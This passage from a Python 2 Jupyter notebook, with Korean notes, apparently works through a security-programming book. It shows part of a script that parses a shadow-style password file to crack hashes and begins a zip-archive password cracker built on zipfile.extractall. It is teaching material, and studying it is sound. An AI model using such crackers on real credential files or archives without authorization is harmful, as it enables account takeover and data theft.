      "    passwords = 'ch01/shadow.txt'\n",
      "    passFile = open(passwords)\n",
      "    for line in passFile:\n",
      "        # ':' \uc774 \uc788\uc744 \ub54c\ub9cc\n",
      "        if ':' in line:\n",
      "            # :\uc758 \uc55e\ubd80\ubd84\uc740 user: victim, root\n",
      "            user = line.split(':')[0]\n",
      "            # : \ub4a4\uc758 \ubd80\ubd84\uc774 HX~\n",
      "            cryptPass = line.split(':')[1].strip(' ')\n",
      "            print '[*] Cracking Password For: ' + user\n",
      "            # : \ub4a4\uc758 \ubd80\ubd84\uc744 testPass\uc5d0 \ub118\uaca8\uc90c. \uc6b0\ub9ac\uac00 \ud480\uc5b4\uc57c \ud560 \uc554\ud638\ubb38\n",
      "            testPass(cryptPass)\n",
      "\n",
      "            \n",
      "if __name__ == '__main__':\n",
      "    main()"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "skip"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "Overwriting ch01/test_512_2.py\n"
       ]
      }
     ],
     "prompt_number": 191
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "subslide"
      }
     },
     "source": [
      "<img src='files/images/killing_question.jpg' />"
     ]
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "slide"
      }
     },
     "source": [
      "------\n",
      "\n",
      "### \ub450\ubc88\uc9f8 \ud504\ub85c\uadf8\ub7a8: \uc120\uc744 \uc704\ud574 \uc545\uc744 \uc0ac\uc6a9\ud558\uae30\n",
      "\n",
      "- Cyber Fast Track \ud504\ub85c\uadf8\ub7a8: \uacf5\uaca9\uc801\uc778 \ud234\uc774\ub098 \ubc29\uc5b4\uc801\uc778 \ud234\uc774\ub77c\ub294 \uac83\uc740 \uc5c6\uace0 \ub2e8\uc21c\ud788 \ud234\ub9cc \uc874\uc7ac\ud560 \ubfd0\n",
      "- \uae0d\uc815\uc801\uc778 \uc608\ub85c\ub294 \uc544\ub3d9 \ud3ec\ub974\ub178 \uc18c\uc9c0\uc790\uc758 \ucef4\ud4e8\ud130\ub97c \uc218\uc0c9\ud574\uc11c \ud328\uc2a4\uc6cc\ub4dc\ub85c \ubcf4\ud638\ub418\uace0 \uc788\ub294 zip \ud30c\uc77c\uc744 \ud574\ub3c5\ud55c \uac83\n",
      "- \ubb34\ucc28\ubcc4 \ub300\uc785 \ud328\uc2a4\uc6cc\ub4dc \uae30\ubc95\uc744 \uc0ac\uc6a9\ud558\uc5ec \ub610 \ub2e4\ub978 \ud504\ub85c\uadf8\ub7a8\uc744 \ub9cc\ub4e4\uc5b4 \ubcf4\uc790.\n",
      "\n",
      "### \ub450\ubc88\uc9f8 \uc791\ud488 - \uc555\ucd95\ud30c\uc77c \ud328\uc2a4\uc6cc\ub4dc \ud06c\ub798\ucee4\n",
      "\n",
      "- \uba3c\uc800 zipfile \ub77c\uc774\ube0c\ub7ec\ub9ac\ub97c \uc0b4\ud3b4\ubcf4\ub294 \uac83\uc73c\ub85c \uc555\ucd95\ud30c\uc77c \ud06c\ub798\ucee4 \ud504\ub85c\uadf8\ub7a8\uc758 \uc791\uc131\uc744 \uc2dc\uc791\n",
      "- zipfile \ud074\ub798\uc2a4\uc640 \uc774 \ud30c\uc77c\uc5d0 \uc788\ub294 extractall() \uba54\uc18c\ub4dc\ub97c \uc0b4\ud3b4\ubcf4\uc790.\n",
      "- \uc8fc\ubaa9\ud560 \uc810\uc740 **extractall()\uc5d0 \ud328\uc2a4\uc6cc\ub4dc\ub97c \uc785\ub825\ud560 \uc218 \uc788\ub294 \uc120\ud0dd\uc801 \ud30c\ub77c\ubbf8\ud130\uac00 \uc788\ub2e4\ub294 \uac83** -> \uc790\ub3d9 \ub300\uc785\uc744 \ud574\ubcfc \uc218 \uc788\ub2e4\ub294 \ub9d0"
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "help('zipfile')"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "subslide"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "Help on module zipfile:\n",
        "\n",
        "NAME\n",
        "    zipfile - Read and write ZIP files.\n",
        "\n",
        "FILE\n",
        "    /Applications/Canopy.app/appdata/canopy-1.3.0.1715.macosx-x86_64/Canopy.app/Contents/lib/python2.7/zipfile.py\n",
        "\n",
        "MODULE DOCS\n",
        "    http://docs.python.org/library/zipfile\n",
        "\n",
        "CLASSES\n",
        "    __builtin__.object\n",
        "        ZipFile\n",
        "            PyZipFile\n",
        "        ZipInfo\n",
        "    exceptions.Exception(exceptions.BaseException)\n",
        "        BadZipfile\n",
        "        LargeZipFile\n",
        "    \n",
        "    class BadZipfile(exceptions.Exception)\n",
        "     |  Method resolution order:\n",
        "     |      BadZipfile\n",
        "     |      exceptions.Exception\n",
        "     |      exceptions.BaseException\n",
        "     |      __builtin__.object\n",
        "     |  \n",
        "     |  Data descriptors defined here:\n",
        "     |  \n",
        "     |  __weakref__\n",
        "     |      list of weak references to the object (if defined)\n",
        "     |  \n",
        "     |  ----------------------------------------------------------------------\n",
        "     |  Methods inherited from exceptions.Exception:\n",
        "     |  \n",
        "     |  __init__(...)\n",
        "     |      x.__init__(...) initializes x; see help(type(x)) for signature\n",
        "     |  \n",
        "     |  ----------------------------------------------------------------------\n",
        "     |  Data and other attributes inherited from exceptions.Exception:\n",
        "     |  \n",
        "     |  __new__ = <built-in method __new__ of type object>\n",
        "     |      T.__new__(S, ...) -> a new object with type S, a subtype of T\n",
        "     |  \n",
        "     |  ----------------------------------------------------------------------\n",
        "     |  Methods inherited from exceptions.BaseException:\n",
        "     |  \n",
        "     |  __delattr__(...)\n",
        "     |      x.__delattr__('name') <==> del x.name\n",
        "     |  \n",
        "     |  __getattribute__(...)\n",
        "     |      x.__getattribute__('name') <==> x.name\n",
        "     |  \n",
        "     |  __getitem__(...)\n",
        "     |      x.__getitem__(y) <==> x[y]\n",
        "     |  \n",
        "     |  __getslice__(...)\n",
        "     |      x.__getslice__(i, j) <==> x[i:j]\n",
        "     |      \n",
        "     |      Use of negative indices is not supported.\n",
        "     |  \n",
        "     |  __reduce__(...)\n",
        "     |  \n",
        "     |  __repr__(...)\n",
        "     |      x.__repr__() <==> repr(x)\n",
        "     |  \n",
        "     |  __setattr__(...)\n",
        "     |      x.__setattr__('name', value) <==> x.name = value\n",
        "     |  \n",
        "     |  __setstate__(...)\n",
        "     |  \n",
        "     |  __str__(...)\n",
        "     |      x.__str__() <==> str(x)\n",
        "     |  \n",
        "     |  __unicode__(...)\n",
        "     |  \n",
        "     |  ----------------------------------------------------------------------\n",
        "     |  Data descriptors inherited from exceptions.BaseException:\n",
        "     |  \n",
        "     |  __dict__\n",
        "     |  \n",
        "     |  args\n",
        "     |  \n",
        "     |  message\n",
        "    \n",
        "    class LargeZipFile(exceptions.Exception)\n",
        "     |  Raised when writing a zipfile, the zipfile requires ZIP64 extensions\n",
        "     |  and those extensions are disabled.\n",
        "     |  \n",
        "     |  Method resolution order:\n",
        "     |      LargeZipFile\n",
        "     |      exceptions.Exception\n",
        "     |      exceptions.BaseException\n",
        "     |      __builtin__.object\n",
        "     |  \n",
        "     |  Data descriptors defined here:\n",
        "     |  \n",
        "     |  __weakref__\n",
        "     |      list of weak references to the object (if defined)\n",
        "     |  \n",
        "     |  ----------------------------------------------------------------------\n",
        "     |  Methods inherited from exceptions.Exception:\n",
        "     |  \n",
        "     |  __init__(...)\n",
        "     |      x.__init__(...) initializes x; see help(type(x)) for signature\n",
        "     |  \n",
        "     |  ----------------------------------------------------------------------\n",
        "     |  Data and other attributes inherited from exceptions.Exception:\n",
        "     |  \n",
        "     |  __new__ = <built-in method __new__ of type object>\n",
        "     |      T.__new__(S, ...) -> a new object with type S, a subtype of T\n",
        "     |  \n",
        "     |  ----------------------------------------------------------------------\n",
        "     |  Methods inherited from exceptions.BaseException:\n",
        "     |  \n",
        "     |  __delattr__(...)\n",
        "     |      x.__delattr__('name') <==> del x.name\n",
        "     |  \n",
        "     |  __getattribute__(...)\n",
        "     |      x.__getattribute__('name') <==> x.name\n",
        "     |  \n",
        "     |  __getitem__(...)\n",
        "     |      x.__getitem__(y) <==> x[y]\n",
        "     |  \n",
        "     |  __getslice__(...)\n",
        "     |      x.__getslice__(i, j) <==> x[i:j]\n",
        "     |      \n",
        "     |      Use of negative indices is not supported.\n",
        "     |  \n",
        "     |  __reduce__(...)\n",
        "     |  \n",
        "     |  __repr__(...)\n",
        "     |      x.__repr__() <==> repr(x)\n",
        "     |  \n",
        "     |  __setattr__(...)\n",
        "     |      x.__setattr__('name', value) <==> x.name = value\n",
        "     |  \n",
        "     |  __setstate__(...)\n",
        "     |  \n",
        "     |  __str__(...)\n",
        "     |      x.__str__() <==> str(x)\n",
        "     |  \n",
        "     |  __unicode__(...)\n",
        "     |  \n",
        "     |  ----------------------------------------------------------------------\n",
        "     |  Data descriptors inherited from exceptions.BaseException:\n",
        "     |  \n",
        "     |  __dict__\n",
        "     |  \n",
        "     |  args\n",
        "     |  \n",
        "     |  message\n",
        "    \n",
        "    class PyZipFile(ZipFile)\n",
        "     |  Class to create ZIP archives with Python library files and packages.\n",
        "     |  \n",
        "     |  Method resolution order:\n",
        "     |      PyZipFile\n",
        "     |      ZipFile\n",
        "     |      __builtin__.object\n",
        "     |  \n",
        "     |  Methods defined here:\n",
        "     |  \n",
        "     |  writepy(self, pathname, basename='')\n",
        "     |      Add all files from \"pathname\" to the ZIP archive.\n",
        "     |      \n",
        "     |      If pathname is a package directory, search the directory and\n",
        "     |      all package subdirectories recursively for all *.py and enter\n",
        "     |      the modules into the archive.  If pathname is a plain\n",
        "     |      directory, listdir *.py and enter all modules.  Else, pathname\n",
        "     |      must be a Python *.py file and the module will be put into the\n",
        "     |      archive.  Added modules are always module.pyo or module.pyc.\n",
        "     |      This method will compile the module.py into module.pyc if\n",
        "     |      necessary.\n",
        "     |  \n",
        "     |  ----------------------------------------------------------------------\n",
        "     |  Methods inherited from ZipFile:\n",
        "     |  \n",
        "     |  __del__(self)\n",
        "     |      Call the \"close()\" method in case the user forgot.\n",
        "     |  \n",
        "     |  __enter__(self)\n",
        "     |  \n",
        "     |  __exit__(self, type, value, traceback)\n",
        "     |  \n",
        "     |  __init__(self, file, mode='r', compression=0, allowZip64=False)\n",
        "     |      Open the ZIP file with mode read \"r\", write \"w\" or append \"a\".\n",
        "     |  \n",
        "     |  close(self)\n",
        "     |      Close the file, and for mode \"w\" and \"a\" write the ending\n",
        "     |      records.\n",
        "     |  \n",
        "     |  extract(self, member, path=None, pwd=None)\n",
        "     |      Extract a member from the archive to the current working directory,\n",
        "     |      using its full name. Its file information is extracted as accurately\n",
        "     |      as possible. `member' may be a filename or a ZipInfo object. You can\n",
        "     |      specify a different directory using `path'.\n",
        "     |  \n",
        "     |  extractall(self, path=None, members=None, pwd=None)\n",
        "     |      Extract all members from the archive to the current working\n",
        "     |      directory. `path' specifies a different directory to extract to.\n",
        "     |      `members' is optional and must be a subset of the list returned\n",
        "     |      by namelist().\n",
        "     |  \n",
        "     |  getinfo(self, name)\n",
        "     |      Return the instance of ZipInfo given 'name'.\n",
        "     |  \n",
        "     |  infolist(self)\n",
        "     |      Return a list of class ZipInfo instances for files in the\n",
        "     |      archive.\n",
        "     |  \n",
        "     |  namelist(self)\n",
        "     |      Return a list of file names in the archive.\n",
        "     |  \n",
        "     |  open(self, name, mode='r', pwd=None)\n",
        "     |      Return file-like object for 'name'.\n",
        "     |  \n",
        "     |  printdir(self)\n",
        "     |      Print a table of contents for the zip file.\n",
        "     |  \n",
        "     |  read(self, name, pwd=None)\n",
        "     |      Return file bytes (as a string) for name.\n",
        "     |  \n",
        "     |  setpassword(self, pwd)\n",
        "     |      Set default password for encrypted files.\n",
        "     |  \n",
        "     |  testzip(self)\n",
        "     |      Read all the files and check the CRC.\n",
        "     |  \n",
        "     |  write(self, filename, arcname=None, compress_type=None)\n",
        "     |      Put the bytes from filename into the archive under the name\n",
        "     |      arcname.\n",
        "     |  \n",
        "     |  writestr(self, zinfo_or_arcname, bytes, compress_type=None)\n",
        "     |      Write a file into the archive.  The contents is the string\n",
        "     |      'bytes'.  'zinfo_or_arcname' is either a ZipInfo instance or\n",
        "     |      the name of the file in the archive.\n",
        "     |  \n",
        "     |  ----------------------------------------------------------------------\n",
        "     |  Data descriptors inherited from ZipFile:\n",
        "     |  \n",
        "     |  __dict__\n",
        "     |      dictionary for instance variables (if defined)\n",
        "     |  \n",
        "     |  __weakref__\n",
        "     |      list of weak references to the object (if defined)\n",
        "     |  \n",
        "     |  comment\n",
        "     |      The comment text associated with the ZIP file.\n",
        "     |  \n",
        "     |  ----------------------------------------------------------------------\n",
        "     |  Data and other attributes inherited from ZipFile:\n",
        "     |  \n",
        "     |  fp = None\n",
        "    \n",
        "    class ZipFile(__builtin__.object)\n",
        "     |  Class with methods to open, read, write, close, list zip files.\n",
        "     |  \n",
        "     |  z = ZipFile(file, mode=\"r\", compression=ZIP_STORED, allowZip64=False)\n",
        "     |  \n",
        "     |  file: Either the path to the file, or a file-like object.\n",
        "     |        If it is a path, the file will be opened and closed by ZipFile.\n",
        "     |  mode: The mode can be either read \"r\", write \"w\" or append \"a\".\n",
        "     |  compression: ZIP_STORED (no compression) or ZIP_DEFLATED (requires zlib).\n",
        "     |  allowZip64: if True ZipFile will create files with ZIP64 extensions when\n",
        "     |              needed, otherwise it will raise an exception when this would\n",
        "     |              be necessary.\n",
        "     |  \n",
        "     |  Methods defined here:\n",
        "     |  \n",
        "     |  __del__(self)\n",
        "     |      Call the \"close()\" method in case the user forgot.\n",
        "     |  \n",
        "     |  __enter__(self)\n",
        "     |  \n",
        "     |  __exit__(self, type, value, traceback)\n",
        "     |  \n",
        "     |  __init__(self, file, mode='r', compression=0, allowZip64=False)\n",
        "     |      Open the ZIP file with mode read \"r\", write \"w\" or append \"a\".\n",
        "     |  \n",
        "     |  close(self)\n",
        "     |      Close the file, and for mode \"w\" and \"a\" write the ending\n",
        "     |      records.\n",
        "     |  \n",
        "     |  extract(self, member, path=None, pwd=None)\n",
        "     |      Extract a member from the archive to the current working directory,\n",
        "     |      using its full name. Its file information is extracted as accurately\n",
        "     |      as possible. `member' may be a filename or a ZipInfo object. You can\n",
        "     |      specify a different directory using `path'.\n",
        "     |  \n",
        "     |  extractall(self, path=None, members=None, pwd=None)\n",
        "     |      Extract all members from the archive to the current working\n",
        "     |      directory. `path' specifies a different directory to extract to.\n",
        "     |      `members' is optional and must be a subset of the list returned\n",
        "     |      by namelist().\n",
        "     |  \n",
        "     |  getinfo(self, name)\n",
        "     |      Return the instance of ZipInfo given 'name'.\n",
        "     |  \n",
        "     |  infolist(self)\n",
        "     |      Return a list of class ZipInfo instances for files in the\n",
        "     |      archive.\n",
        "     |  \n",
        "     |  namelist(self)\n",
        "     |      Return a list of file names in the archive.\n",
        "     |  \n",
        "     |  open(self, name, mode='r', pwd=None)\n",
        "     |      Return file-like object for 'name'.\n",
        "     |  \n",
        "     |  printdir(self)\n",
        "     |      Print a table of contents for the zip file.\n",
        "     |  \n",
        "     |  read(self, name, pwd=None)\n",
        "     |      Return file bytes (as a string) for name.\n",
        "     |  \n",
        "     |  setpassword(self, pwd)\n",
        "     |      Set default password for encrypted files.\n",
        "     |  \n",
        "     |  testzip(self)\n",
        "     |      Read all the files and check the CRC.\n",
        "     |  \n",
        "     |  write(self, filename, arcname=None, compress_type=None)\n",
        "     |      Put the bytes from filename into the archive under the name\n",
        "     |      arcname.\n",
        "     |  \n",
        "     |  writestr(self, zinfo_or_arcname, bytes, compress_type=None)\n",
        "     |      Write a file into the archive.  The contents is the string\n",
        "     |      'bytes'.  'zinfo_or_arcname' is either a ZipInfo instance or\n",
        "     |      the name of the file in the archive.\n",
        "     |  \n",
        "     |  ----------------------------------------------------------------------\n",
        "     |  Data descriptors defined here:\n",
        "     |  \n",
        "     |  __dict__\n",
        "     |      dictionary for instance variables (if defined)\n",
        "     |  \n",
        "     |  __weakref__\n",
        "     |      list of weak references to the object (if defined)\n",
        "     |  \n",
        "     |  comment\n",
        "     |      The comment text associated with the ZIP file.\n",
        "     |  \n",
        "     |  ----------------------------------------------------------------------\n",
        "     |  Data and other attributes defined here:\n",
        "     |  \n",
        "     |  fp = None\n",
        "    \n",
        "    class ZipInfo(__builtin__.object)\n",
        "     |  Class with attributes describing each file in the ZIP archive.\n",
        "     |  \n",
        "     |  Methods defined here:\n",
        "     |  \n",
        "     |  FileHeader(self, zip64=None)\n",
        "     |      Return the per-file header as a string.\n",
        "     |  \n",
        "     |  __init__(self, filename='NoName', date_time=(1980, 1, 1, 0, 0, 0))\n",
        "     |  \n",
        "     |  ----------------------------------------------------------------------\n",
        "     |  Data descriptors defined here:\n",
        "     |  \n",
        "     |  CRC\n",
        "     |  \n",
        "     |  comment\n",
        "     |  \n",
        "     |  compress_size\n",
        "     |  \n",
        "     |  compress_type\n",
        "     |  \n",
        "     |  create_system\n",
        "     |  \n",
        "     |  create_version\n",
        "     |  \n",
        "     |  date_time\n",
        "     |  \n",
        "     |  external_attr\n",
        "     |  \n",
        "     |  extra\n",
        "     |  \n",
        "     |  extract_version\n",
        "     |  \n",
        "     |  file_size\n",
        "     |  \n",
        "     |  filename\n",
        "     |  \n",
        "     |  flag_bits\n",
        "     |  \n",
        "     |  header_offset\n",
        "     |  \n",
        "     |  internal_attr\n",
        "     |  \n",
        "     |  orig_filename\n",
        "     |  \n",
        "     |  reserved\n",
        "     |  \n",
        "     |  volume\n",
        "    \n",
        "    error = class BadZipfile(exceptions.Exception)\n",
        "     |  Method resolution order:\n",
        "     |      BadZipfile\n",
        "     |      exceptions.Exception\n",
        "     |      exceptions.BaseException\n",
        "     |      __builtin__.object\n",
        "     |  \n",
        "     |  Data descriptors defined here:\n",
        "     |  \n",
        "     |  __weakref__\n",
        "     |      list of weak references to the object (if defined)\n",
        "     |  \n",
        "     |  ----------------------------------------------------------------------\n",
        "     |  Methods inherited from exceptions.Exception:\n",
        "     |  \n",
        "     |  __init__(...)\n",
        "     |      x.__init__(...) initializes x; see help(type(x)) for signature\n",
        "     |  \n",
        "     |  ----------------------------------------------------------------------\n",
        "     |  Data and other attributes inherited from exceptions.Exception:\n",
        "     |  \n",
        "     |  __new__ = <built-in method __new__ of type object>\n",
        "     |      T.__new__(S, ...) -> a new object with type S, a subtype of T\n",
        "     |  \n",
        "     |  ----------------------------------------------------------------------\n",
        "     |  Methods inherited from exceptions.BaseException:\n",
        "     |  \n",
        "     |  __delattr__(...)\n",
        "     |      x.__delattr__('name') <==> del x.name\n",
        "     |  \n",
        "     |  __getattribute__(...)\n",
        "     |      x.__getattribute__('name') <==> x.name\n",
        "     |  \n",
        "     |  __getitem__(...)\n",
        "     |      x.__getitem__(y) <==> x[y]\n",
        "     |  \n",
        "     |  __getslice__(...)\n",
        "     |      x.__getslice__(i, j) <==> x[i:j]\n",
        "     |      \n",
        "     |      Use of negative indices is not supported.\n",
        "     |  \n",
        "     |  __reduce__(...)\n",
        "     |  \n",
        "     |  __repr__(...)\n",
        "     |      x.__repr__() <==> repr(x)\n",
        "     |  \n",
        "     |  __setattr__(...)\n",
        "     |      x.__setattr__('name', value) <==> x.name = value\n",
        "     |  \n",
        "     |  __setstate__(...)\n",
        "     |  \n",
        "     |  __str__(...)\n",
        "     |      x.__str__() <==> str(x)\n",
        "     |  \n",
        "     |  __unicode__(...)\n",
        "     |  \n",
        "     |  ----------------------------------------------------------------------\n",
        "     |  Data descriptors inherited from exceptions.BaseException:\n",
        "     |  \n",
        "     |  __dict__\n",
        "     |  \n",
        "     |  args\n",
        "     |  \n",
        "     |  message\n",
        "\n",
        "FUNCTIONS\n",
        "    is_zipfile(filename)\n",
        "        Quickly see if a file is a ZIP file by checking the magic number.\n",
        "        \n",
        "        The filename argument may be a file or file-like object too.\n",
        "\n",
        "DATA\n",
        "    ZIP_DEFLATED = 8\n",
        "    ZIP_STORED = 0\n",
        "    __all__ = ['BadZipfile', 'error', 'ZIP_STORED', 'ZIP_DEFLATED', 'is_zi...\n",
        "\n",
        "\n"
       ]
      }
     ],
     "prompt_number": 192
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "%%writefile ch01/unzip.py\n",
      "import zipfile\n",
      "\n",
      "zFile = zipfile.ZipFile('ch01/evil.zip', 'r')\n",
      "zFile.extractall(path='tmp', pwd='secret')"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "Overwriting ch01/unzip.py\n"
       ]
      }
     ],
     "prompt_number": 193
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "!rm -rf ch01/evil"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "skip"
      }
     },
     "outputs": [],
     "prompt_number": 194
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "!ls -l ch01/"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "skip"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "total 336\r\n",
        "-rw-r--r--  1 re4lfl0w  staff    356 Jun 15 12:59 1thread.py\r\n",
        "-rw-r--r--  1 re4lfl0w  staff    614 Jun 15 12:59 2process.py\r\n",
        "-rw-r--r--  1 re4lfl0w  staff    447 Jun 15 12:59 2thread.py\r\n",
        "-rw-r--r--  1 re4lfl0w  staff      0 Jun 14 14:43 __init__.py\r\n",
        "-rw-r--r--  1 re4lfl0w  staff    103 Jun 14 14:43 __init__.pyc\r\n",
        "-rw-r--r--  1 re4lfl0w  staff     57 Jun 23  2012 dictionary.txt\r\n",
        "-rw-r--r--  1 re4lfl0w  staff  35755 Jun 23  2012 evil.zip\r\n",
        "-rw-r--r--  1 re4lfl0w  staff     20 Jun 15 12:58 hello.py\r\n",
        "-rw-r--r--  1 re4lfl0w  staff     35 Jun 15 13:20 main_test.py\r\n",
        "-rw-r--r--  1 re4lfl0w  staff    148 Jun 15 13:20 main_test.pyc\r\n",
        "-rw-r--r--  1 re4lfl0w  staff     91 Jun 15 13:20 main_test2.py\r\n",
        "-rw-r--r--  1 re4lfl0w  staff    302 Jun 15 13:20 main_test2.pyc\r\n",
        "-rw-r--r--  1 re4lfl0w  staff    122 Jun 15 11:50 passwd\r\n",
        "-rw-r--r--  1 re4lfl0w  staff    122 Jun 23  2012 passwords.txt\r\n",
        "-rw-r--r--  1 re4lfl0w  staff    149 Jun 10 17:59 reverse_slash.txt\r\n",
        "-rw-r--r--  1 re4lfl0w  staff    122 Jun 15 13:20 shadow.txt\r",
        "\r\n",
        "-rw-r--r--  1 re4lfl0w  staff   1154 Jun 15 13:20 test_512_2.py\r\n",
        "-rw-r--r--  1 re4lfl0w  staff    320 Jun 15 13:20 test_confirm.py\r\n",
        "-rw-r--r--  1 re4lfl0w  staff   1575 Jun  7 18:54 test_last.py\r\n",
        "-rw-r--r--  1 re4lfl0w  staff    477 Jun  7 18:24 test_original.py\r\n",
        "-rw-r--r--  1 re4lfl0w  staff    659 Jun  7 18:24 test_process.py\r\n",
        "-rw-r--r--  1 re4lfl0w  staff    642 Jun  7 19:46 test_process2.py\r\n",
        "-rw-r--r--  1 re4lfl0w  staff   1529 Jun 15 13:20 test_sha512.py\r\n",
        "-rw-r--r--  1 re4lfl0w  staff    501 Jun  7 18:24 test_thread.py\r\n",
        "-rw-r--r--  1 re4lfl0w  staff    551 Jun  7 19:46 test_thread2.py\r\n",
        "-rw-r--r--  1 re4lfl0w  staff    104 Jun 15 13:20 unzip.py\r\n",
        "-rw-r--r--  1 re4lfl0w  staff    347 Jun 15 12:59 unzip3.py\r\n",
        "-rw-r--r--  1 re4lfl0w  staff    146 Jun 15 12:59 unzip_except.py\r\n",
        "-rw-r--r--  1 re4lfl0w  staff    503 Jun 15 12:59 unzip_module.py\r\n",
        "-rw-r--r--  1 re4lfl0w  staff    496 Jun 15 12:59 unzip_thread.py\r\n",
        "-rw-r--r--  1 re4lfl0w  staff    118 Jun 15 13:20 vuln-scanner.py\r\n",
        "-rw-r--r--  1 re4lfl0w  staff    452 Jun 15 13:20 vuln_banners.txt\r\n",
        "----------  1 re4lfl0w  staff    398 Jun 13 13:58 vuln_banners2.txt\r\n",
        "-rw-r--r--  1 re4lfl0w  staff   1282 Jun 15 13:20 vuln_scanner.py\r\n",
        "-rw-r--r--  1 re4lfl0w  staff   1291 Jun 15 12:59 zipcrack.py\r\n"
       ]
      }
     ],
     "prompt_number": 195
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "import zipfile\n",
      "zFile = zipfile.ZipFile('ch01/evil.zip', 'r')\n",
      "zFile.extract?"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "skip"
      }
     },
     "outputs": [],
     "prompt_number": 196
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "!python ch01/unzip.py"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [],
     "prompt_number": 251
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "# extractall\uc5d0\uc11c path\ub97c \uc9c0\uc815\ud574\uc8fc\uc9c0 \uc54a\uc73c\ub2c8 notebook\uc774 \uc2e4\ud589\ub41c root\uc5d0 \uc0dd\uc131\uc774 \ub410\ub124.\n",
      "# \uad1c\ud788 \ud3f4\ub354 \ucc3e\uc544\ubcf4\uba74\uc11c \uc0bd\uc9c8\ud588\ub2e4.\n",
      "# \ud56d\uc0c1 \uc2e4\ud589\ub41c \uc8fc\uccb4\uac00 \uc5b4\ub514\uc778\uc9c0 \ud655\uc778\ud560 \uac83. \uc774\uac78\ub85c \uc778\ud574 \ub9ce\uc740 \uc0bd\uc9c8 \ubc1c\uc0dd\n",
      "!ls -l tmp"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "skip"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "total 0\r\n",
        "drwxr-xr-x  4 re4lfl0w  staff  136 Jun 13 13:58 \u001b[1m\u001b[34mevil\u001b[m\u001b[m\r\n"
       ]
      }
     ],
     "prompt_number": 252
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "!ls -l evil/"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "total 88\r\n",
        "-rw-r--r--  1 re4lfl0w  staff  38540 Jun 15 13:20 evil.jpg\r\n",
        "-rw-r--r--  1 re4lfl0w  staff    171 Jun 15 13:20 note_to_adam.txt\r\n"
       ]
      }
     ],
     "prompt_number": 254
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "!open evil/evil.jpg"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [],
     "prompt_number": 255
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "!cat evil/note_to_adam.txt"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "Sorry, you are too late - she ate the apple.\r\n",
        "--------\r\n",
        "[Image downloaded from http://farm3.staticflickr.com/2422/4424308439_7bd9e833d3_z.jpg under Creative Commons License]"
       ]
      }
     ],
     "prompt_number": 256
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "subslide"
      }
     },
     "source": [
      "### \ub9cc\uc57d\uc5d0 \uc798\ubabb\ub41c \ud328\uc2a4\uc6cc\ub4dc\ub85c \uc2a4\ud06c\ub9bd\ud2b8\ub97c \uc2e4\ud589\uc2dc\ud0ac \ub54c\ub97c \ub300\ube44\ud574 \uc608\uc678 \ucc98\ub9ac \ucf54\ub4dc \ucd94\uac00"
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "%%writefile ch01/unzip_except.py\n",
      "import zipfile\n",
      "\n",
      "zFile = zipfile.ZipFile('ch01/evil.zip', 'r')\n",
      "try:\n",
      "    zFile.extractall(path='tmp', pwd='orange')\n",
      "except Exception, e:\n",
      "    print e"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "-"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "Overwriting ch01/unzip_except.py\n"
       ]
      }
     ],
     "prompt_number": 202
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "skip"
      }
     },
     "source": [
      "- \uc798\ubabb\ub41c \ud328\uc2a4\uc6cc\ub4dc\ub85c \uc2a4\ud06c\ub9bd\ud2b8\ub97c \uc2e4\ud589\ud558\uba74 \uc624\ub958 \uba54\uc2dc\uc9c0 \ucd9c\ub825"
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "!python ch01/unzip_except.py"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "('Bad password for file', <zipfile.ZipInfo object at 0x10061e500>)\r\n"
       ]
      }
     ],
     "prompt_number": 203
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "source": [
